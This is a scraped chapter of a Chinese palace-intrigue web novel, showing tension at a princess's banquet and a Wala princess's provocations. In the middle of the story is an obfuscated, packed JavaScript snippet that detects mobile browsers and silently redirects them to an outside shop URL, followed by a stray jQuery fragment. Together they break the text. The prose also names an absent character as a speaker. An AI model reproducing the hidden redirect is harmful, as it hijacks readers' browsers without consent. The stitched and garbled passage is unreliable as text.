176. 发难

作品:《醉春庭

    花厅内,梁玟霜有些心焦,她探身凑近裴如瑛开口:“瑛姐姐,绾姐姐已经去了快一炷香的功夫了,换个衣裳不需要这么久啊。”


    裴如瑛脸色早就冷了下来,虽然她心底也着急但她知道不能乱,这种时候心里一乱更容易出差错。


    “再等一盏茶的功夫,若是绾儿还没回来,咱们便出去找找。”


    “好。”


    裴如瑛总觉得苏绾应该是遇到了什么事,而且方才曾浅浅也寻了个借口离席,说不准就是冲着苏绾去的。


    若非她们身在公主府,此刻裴如瑛早就冲出去寻人了,就算闹出误会也比苏绾真出什么事强。


    她缩在袖中的手握紧,审视的目光毫不避讳地落在乐宁身上。


    首位的乐宁公主不经意间瞧见了裴如瑛冷若冰霜的脸色,一口饮尽杯中美酒,借着广袖的遮掩勾了勾嘴角,眼底闪过愉悦和幸灾乐祸。


    她堂堂晟国公主,还从未有人能同她作对后全身而退的,苏绾,蝼蚁罢了。


    不过……曾浅浅真是条没用的狗,让她前去瞧一瞧事情可办成了,这么久了都不回来,真是不堪大用。


    若非她紧着巴结自己,这样一个没脑子又废物的东西,自己又怎么会将她放在身边?


    乐宁瞥了一眼曾浅浅的位置,心底越发不耐烦。


    而男客那边,也有一双眼睛盯着乐宁,眼神中带着探究和不屑。


    看了看身边空着的位置,男子放下酒杯,起身出了花厅,无人注意到他的离开。


    公主府的一名婢女急匆匆地进了花厅,焦急地同乐宁公主说了些什么,众人只瞧见乐宁公主脸色猛地一变。


    “诸位,本宫去处理件小事,暂且离开一会儿。”


    说罢,不管花厅内众人脸色如何,乐宁直接起身带着人出了花厅,脚步匆匆,很是着急。


    瓦剌四公主看着乐宁远去的背影,笑得讽刺。


    而梁玟霜和裴如瑛见乐宁公主这般着急地出去,又见苏绾还没有回来,心里一突,恨不得马上跟着乐宁去探个究竟。


    不过还不等她二人站起身,就听身后传来了一道刻意压低的声音。


    “二位小姐莫要担心,我家小姐无事。”


    转头一瞧,是苏绾身边那个叫绿柳的丫鬟,方才跟着苏绾一同出去,这会儿却自己回来了。


    裴如瑛欲言又止,想问问怎么回事,那叫绿柳的丫头却做了个手势,示意她暂且莫问。


    裴如瑛看着绿柳眼底的沉稳和凝重,若有所思,伸手扳着梁玟霜的肩膀将人转了回去,手指在梁玟霜肩膀上点了点。


    “霜儿,公主府的膳食当真不错,这道芙蓉糕我尝着挺好,你觉着呢?”


    梁玟霜也明白了她的意思,二人交换了个眼神,面色如常地继续品尝起美食。


    既然苏绾的贴身丫鬟说她无事,那就不会错,她没有回来,或许是被一些趣事绊住脚了呢?


    绿柳安静地立在梁玟霜身后,微微偏头看了一眼前方。


    宴会虽然仍在继续,可作为主人家的乐宁公主离席,酒菜也都吃的差不多了,众人渐渐觉得有些无聊。


    “这公主都去了一炷香的功夫了,我们就在这干坐着吗?”有人忍不住迟疑开口。


    “哎,公主许是有要事顾不上我们了,不如我等先告辞吧?”也有人动了离去的念头。


    可就算走,也得先和公主打声招呼,若是什么都不说直接走了,那不是不知礼数吗。


    叹了口气,众人只能继续干坐着。


    “霜儿,如瑛。”


    换了一身干净衣裳的苏绾进了花厅,走到了自己的位置上坐下。


    裴如瑛上下打量了一下苏绾,没看到什么伤痕,衣裳也整整齐齐,松了一口气。


    “怎么去了这么久?害得我俩担心你。”裴如瑛忍不住道。


    苏绾拉着她们两个人的手,笑得轻松和煦:“是我的不是,叫你们担心了。”


    “你可碰见乐宁和曾浅浅了?她们二人先后都出去了,没有为难你吧?”裴如瑛问起。


    苏绾状似惊讶地看了看空着的首位,开口道;“我没有遇到曾小姐和公主,我换完衣裳后见带路的婢女不见了,就自己往回走,只是不认识路不小心绕了个远,这才回来的晚了些。”


    苏绾这声音不大不小,正好能让周围的几位官家小姐听得清楚。


    有一位还嫌弃地瞥了一眼苏绾,估计心底正觉得苏绾蠢呢,找不到路也不寻个人问问,非要自己乱走。


    苏绾对她的目光视而不见,只是笑着问起:“公主离席是有什么事吗?”


    “是啊,有个婢女匆匆跑来,不知出了什么事,这都去了许久了。”


    梁玟霜百无聊赖撑着头回答,看那样子颇为不耐。


    “这样啊,公主许是被什么大事缠住了吧,”苏绾笑盈盈地说,不过那笑容瞧着莫名有些过分灿烂。


    “砰!”


    酒杯猛地磕在桌案上,发出清脆的碰撞声,杯中酒液飞溅而出,花厅一瞬间针落可闻。


    “乐宁公主的待客之道就是如此吗?将我等晾在此处?也不知究竟是何事值得乐宁公主亲自去一趟,不如我们也去瞧个热闹?”


    瓦剌四公主冷着一张脸,冷漠地看向乐宁留在花厅内的奶嬷嬷。


    那目光叫奶嬷嬷后颈发凉,有那么一瞬她险些要惊叫出声,但想起公主的吩咐,她咽了咽口水,强自镇定严肃道:“公主府的家事,岂能任由各位当热闹看!”


    “呵。”乐宁可不吃她这套,把玩着手中的酒杯,说出的话毫不留情面:“那你的意思是,乐宁要是不回来,我等就要一直在这坐着?”


    “你一个奴才,还想将我们都压在这不成!”酒杯被乐宁甩到了那嬷嬷脚下,摔得粉碎。


    那嬷嬷面色难看,有口难言,不是她要将这群世家公子小姐留在花厅,而是公主那边的事还不知道成了没有,她怎么敢将这些人引过去!


    若是一个不查坏了公主的好事,就算自己是她的奶嬷嬷,也逃不过一个死字!


    为了自己的小命,嬷嬷颤颤巍巍地解释:“并非如此,只是公主或许不多时就回花厅了,烦请各位再稍作等待。”


    在旁人看不见的地方,嬷嬷的双腿早已抖如筛糠。


    可惜了,瓦剌四公主并不理会这嬷嬷的解释,她缓缓站起身,就要带着自己的婢女去寻乐宁。


    “四公主!您……”嬷嬷心惊胆战地快步上前拦在瓦剌四公主面前,却坑坑巴巴说不出一句话来。


    无他,瓦剌四公主那眼神和周身的气势实在骇人。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190647|168505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “你个老奴才,敢拦本公主?给我滚开!”


    瓦剌四公主摆出公主的架子,厉喝出声,跟在她身后的婢女就要上前将那嬷嬷拽到一旁去。


    “瓦剌四公主好大的脸面啊,这是在晟国,不是在你瓦剌,想在这儿耍你的公主架子,选错地方了吧!”


    看了会儿热闹的洛清漪见瓦剌四公主的人要动手,才幽幽开口。


    花厅内被瓦剌四公主这一番不讲道理的作为吓到的世家贵女们,仿佛一瞬间有了主心骨,都殷切地看着洛清漪,盼着她能好好治一治这没规没矩的瓦剌四公主。


    她们是看不惯瓦剌四公主在花厅当众闹事,可人家是公主,就算是前来和谈的战败国公主,也不是她们这些人能随意训斥的。


    如今这花厅内,能制止瓦剌四公主的只有两个人,一个是百年清流世家裴家的小姐,另一个就是位高权重太傅家的嫡女。


    可裴如瑛却对瓦剌四公主所做所说视而不见,充耳不闻,像是沉浸在自己的思绪里,只懒懒地盯着桌案,不知在想什么。


    一众贵女都胆战心惊,不知是该在花厅内继续等待乐宁回来,还是直接找个借口离开公主府,正犹豫不决之际,洛清漪开了口,她们这才如释重负。


    不过她们还是想得太简单了,洛清漪虽然开了口,瓦剌四公主却也不是什么好拿捏的,她连乐宁的面子都不给,一个太傅家的女儿,还觉得真能拦住自己不成?


    更何况,自己和那人联手,等的不就是今日?怎么会让人将自己的筹谋毁于一旦。


    瓦剌四公主转身看向洛清漪,话中带刺:“洛小姐真是能屈能伸啊,先前我瞧着你和乐宁可是互相都瞧不上眼,乐宁将你晾在此处许久,你倒是替她说起话来了。”


    “也是,你爹是晟国最忠心的狗,你嘛,没准也是乐宁最忠心的狗呢!”


    瓦剌四公主这话简直是将洛清漪和洛家的脸面直接扔在了地上,还踩了几脚又啐了一口,洛清漪当下便气红了脸,目露凶光。


    她并非要为乐宁出头,而是觉得瓦剌四公主在这里叫嚷,烦心得很!


    不过瓦剌四公主没将她的眼神放在心上,等和谈结束,她就回瓦剌去了,洛清漪还能追去瓦剌杀她不成?她也得有那个胆子才行。


    花厅内不乏心仪洛清漪或是想攀上洛家的世家子弟,见瓦剌四公主出言不逊,将洛清漪欺负成这样,都愤愤不平,还有那脾气火爆爱出风头的,当下站起身大步走到了瓦剌四公主跟前,怒骂起来。


    “你一个蛮夷之地的公主,在我大晟这般放肆,当真是不知死活!”


    站在瓦剌四公主身前的男子,身形瘦弱,细胳膊细腿的,此时一副脸红脖子粗的模样,还时不时瞥向洛清漪,盼着美人能看自己一眼。


    “呵……你想替她出头啊,也不瞧瞧你自己是个什么东西!”


    瓦剌四公主扬手,一巴掌甩在那男子脸上,力道之大,都让那男子在原地转了个圈。


    “你!你!野蛮!”


    那男子气急败坏,却不敢再上前,他就是个文弱书生,瓦剌四公主那等塞北出来的野蛮人,他……打不过。


    洛清漪嫌弃地看了一眼那男子,暗道真是个废物。


    她看向瓦剌四公主,开口准备说些什么,却被打断了。